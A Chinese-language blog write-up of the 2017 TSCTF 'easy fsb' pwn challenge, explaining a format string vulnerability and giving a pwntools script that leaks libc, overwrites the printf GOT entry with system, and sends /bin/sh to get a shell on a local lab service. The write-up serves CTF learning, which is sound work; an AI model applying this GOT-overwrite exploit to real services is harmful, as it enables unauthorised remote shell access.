刚刚开始学习pwn,记录一下自己学习的过程。
今天get了第二道pwn题目的解答,做的题目是2017年TSCTF的easy fsb,通过这道题了解了一种漏洞和使用该漏洞获取shell的方法:即格式化字符串漏洞,通过找到printf的got表改为system的got表,从而让执行printf函数变成执行system函数再传入/bin/sh参数,从而让程序执行system('/bin/sh')获取shell。
打开ida查看:
程序逻辑就是执行getname()函数。
进入getname()函数:
逻辑就是往buf里面写数据然后printf出来,这里由于printf()函数直接调用了buf作为参数,所以存在格式化字符串漏洞。
格式化字符串漏洞介绍:http://www.cnblogs.com/Ox9A82/p/5429099.html,http://blog.csdn.net/prettyday/article/details/50366608。
本题漏洞利用方法:首先第一轮将exit函数的got表修改成main函数的地址从而让程序能够循环运行,
接着第二轮将__libc_start_main函数在内存中的地址找出,通过给的so文件计算出system函数地址,
第三轮将printf函数的got表更改为system函数的地址,
最后一轮输入'/bin/sh\x00',实际是运行了system('/bin/sh'),最终拿到了shell。
通过gdb查看,由于本题未使用保护措施,可以直接通过ida读取到地址(linux加载器分配虚拟页的一个连续的片从0x08048000开始,也就是说elf程序的默认起始地址为0x08048000,之前一直不懂为什么加载前后地址是固定的^_^¦¦¦),设置断点在存在格式化字符串漏洞的printf位置处,本题为b *0x08048629,然后r运行,输入AAAA,再通过stack 10来查看当前栈:
可以看出输入值在栈顶偏移7的位置。
可以通过pwntools中的fmtstr模块来快速生成payload,如要将exit_got表的地址改为main函数的地址:
main_addr = 0x8048648
exit_got = 0x804a024
fmtstr_payload(7,{exit_got:main_addr})
这样就生成了
这样的payload,什么意思呢:
首先,我们知道字符串存在栈中偏移为7的位置,所以这个payload首先在偏移为7的位置写下了0804a024,偏移为8的位置写着0804a025,同理到偏移为10的地址写着0804a027,其实这就是exit_got表的地址所占的4个字节,%x$hhn是将前面的字符个数作为值存入到偏移为x的地方写的地址中,比如这里%7$hhn就会把前面的字符个数作为值写入0804a024这个地址处,所以这里是把56+16存入0804a024中,把56+16+62存入0804a025中,把56+16+62+126存入0804a026中,把56+16+62+126+4存入0804a027中,这里注意:最高是255所以超过的其实是值-256存入,其实这里就是把48,86,04,08分别存入0804a024到0804a027中。
改完了,就能让程序在结束时循环到开始处,然后就是通过so文件和__libc_start_main函数的真实地址找出system函数的真实地址,通过ida可以找到__libc_start_main函数的got表地址是0804A028,它的真实地址就是0804A028地址处存着的值,可以通过构造payload:\x28\xa0\x04\x08%7$s来获得,然后根据so文件中__libc_start_main函数和system函数的间隔通过__libc_start_main函数真实地址-so文件中的__libc_start_main函数地址+so文件中的system函数地址即可得到system函数的真实地址。
第三次执行,将得到的system函数的真实地址写入printf函数的got表中,方法同第一步。
最后一次执行,运行到printf函数传参数时,实际上是给system函数传入参数,所以传入/bin/sh即可执行system('/bin/sh')从而拿到shell。
fsbpwn.py
from pwn import *
#init
debug = 0
if debug:
io = process('./fsb')
else:
io = remote('127.0.0.1',2336) context.log_level = 'debug' if debug:
gdb.attach(pidof('fsb')[-1],open('aa'))
#-------------------------------------------------
main_addr = 0x8048648
exit_got = 0x804a024 io.recvuntil("Welcome~\n")
payload1 = fmtstr_payload(7,{exit_got:main_addr})
io.sendline(payload1) #-------------------------------------------------
libc_path = './libc-32.so'
libc = ELF(libc_path)
libc_start_main_got = 0x804A028
io.recvuntil("Welcome~\n")
io.sendline(p32(libc_start_main_got)+'%7$s')
libc_start_main = u32(io.recv(8)[4:8]) print libc_start_main
system_addr = libc_start_main - libc.symbols['__libc_start_main'] + libc.symbols['system']
print 'system_addr = ' + hex(system_addr) #-------------------------------------------------
printf_got = 0x804a014
io.recvuntil("Welcome~\n") payload2 = fmtstr_payload(7,{printf_got:system_addr})
io.sendline(payload2) #-------------------------------------------------
io.recvuntil("Welcome~\n")
io.sendline("/bin/sh") io.interactive()
pwn题目可用:socat tcp4-listen:2336,fork exec:./pwn1挂载,然后通过nc ip 2336去访问
fsb下载地址:http://files.cnblogs.com/files/lllkh/pwn1.rar
pwn学习之二的更多相关文章
-
crawler4j 学习(二)
crawler4j 学习(二) 实现控制器类以制定抓取的种子(seed).中间数据存储的文件夹.并发线程的数目: public class Controller { public static voi ...
-
从零开始学习jQuery (二) 万能的选择器
本系列文章导航 从零开始学习jQuery (二) 万能的选择器 一.摘要 本章讲解jQuery最重要的选择器部分的知识. 有了jQuery的选择器我们几乎可以获取页面上任意的一个或一组对象, 可以明显 ...
-
Android Animation学习(二) ApiDemos解析:基本Animators使用
Android Animation学习(二) ApiDemos解析:基本Animatiors使用 Animator类提供了创建动画的基本结构,但是一般使用的是它的子类: ValueAnimator.O ...
-
AspectJ基础学习之二搭建环境(转载)
AspectJ基础学习之二搭建环境(转载) 一.下载Aspectj以及AJDT 上一章已经列出了他的官方网站,自己上去download吧.AJDT是一个eclipse插件,开发aspectj必装,他可 ...
-
WPF的Binding学习笔记(二)
原文: http://www.cnblogs.com/pasoraku/archive/2012/10/25/2738428.htmlWPF的Binding学习笔记(二) 上次学了点点Binding的 ...
-
AJax 学习笔记二(onreadystatechange的作用)
AJax 学习笔记二(onreadystatechange的作用) 当发送一个请求后,客户端无法确定什么时候会完成这个请求,所以需要用事件机制来捕获请求的状态XMLHttpRequest对象提供了on ...
-
MyBatis学习系列二——增删改查
目录 MyBatis学习系列一之环境搭建 MyBatis学习系列二——增删改查 MyBatis学习系列三——结合Spring 数据库的经典操作:增删改查. 在这一章我们主要说明一下简单的查询和增删改, ...
-
MyBatis学习 之 二、SQL语句映射文件(2)增删改查、参数、缓存
目录(?)[-] 二SQL语句映射文件2增删改查参数缓存 select insert updatedelete sql parameters 基本类型参数 Java实体类型参数 Map参数 多参数的实 ...
-
MyBatis学习 之 二、SQL语句映射文件(1)resultMap
目录(?)[-] 二SQL语句映射文件1resultMap resultMap idresult constructor association联合 使用select实现联合 使用resultMap实 ...
随机推荐
-
Java数据结构——字典树TRIE
又称单词查找树,Trie树,是一种树形结构,是一种哈希树的变种. 典型应用是用于统计,排序和保存大量的字符串(但不仅限于字符串),所以经常被搜索引擎系统用于文本词频统计. 它的优点是:利用字符串的公共 ...
-
CSS3-网站导航,transform,transition
网站导航: 1.a:link visited hover active的顺序是很重要的,如果改变顺序,则hover以及active的状态不起作用 2.<a href=" ...
-
【leetcode】Best Time to Buy and Sell Stock III
Best Time to Buy and Sell Stock III Say you have an array for which the ith element is the price of ...
-
工具系列之Sublime Text 3 使用总结
1.Sublime Text 2/3如何支持中文GBK编码(解决中文乱码) Sublime Text默认是只支持UTF8的编码,所以有些时候,当我们打开GBK文件时候,文件内会出先部分的乱码,如下图 ...
-
JAVA学习JSTL与EL
一.基础 1.EL(Expression Language):为了使jsp写起来更加简单,提供了在Jsp中简化表达式的方法 2.JSTL:(JSP Standard Tag Library)jstl标 ...
-
springMVC servlet 静态资源加载
问题描述 新手使用SpringMVC时市场会遇到静态资源无法加载在问题,如下图所示 问题原因 出现这种问题一般是在web.xml中的对spring的DispatcherServlet采用了如下配置,即 ...
-
Y2 MyBatis(二)
春节后的第一次课 1.整合日志(log4j和logback) (1)log4j和logback都是一个日志记录框架 (2)appender记住两个 stdout控制台显示日志,file记录文件中 (3 ...
-
【读书笔记】iOS-对iOS应用进行模糊测试
一,模糊测试,是指通过反复向待测应用发送畸形的数据,对应用进行动态测试的过程. 二,模糊测试,也称动态分析,是一种构造非法输入并将其提供给应用,以期让应用暴露出某些安全问题的艺术和科学. 参考资料:& ...
-
【Java】Java-ShutDownHook-优雅关闭系统资源
Java-ShutDownHook-优雅关闭系统资源 java shuadownhook_百度搜索 Java应用中使用ShutdownHook友好地清理现场 - 残雪余香 - 博客园 java kil ...
-
关于递归函数中的return位置
1.对于求是否有解的问题一般使用bool dfs() 其中return 可以放在递归式后面 2.对于需要更新解的问题一般使用int dfs() 其中return 不能放在递归式后面,必须放在函数最 ...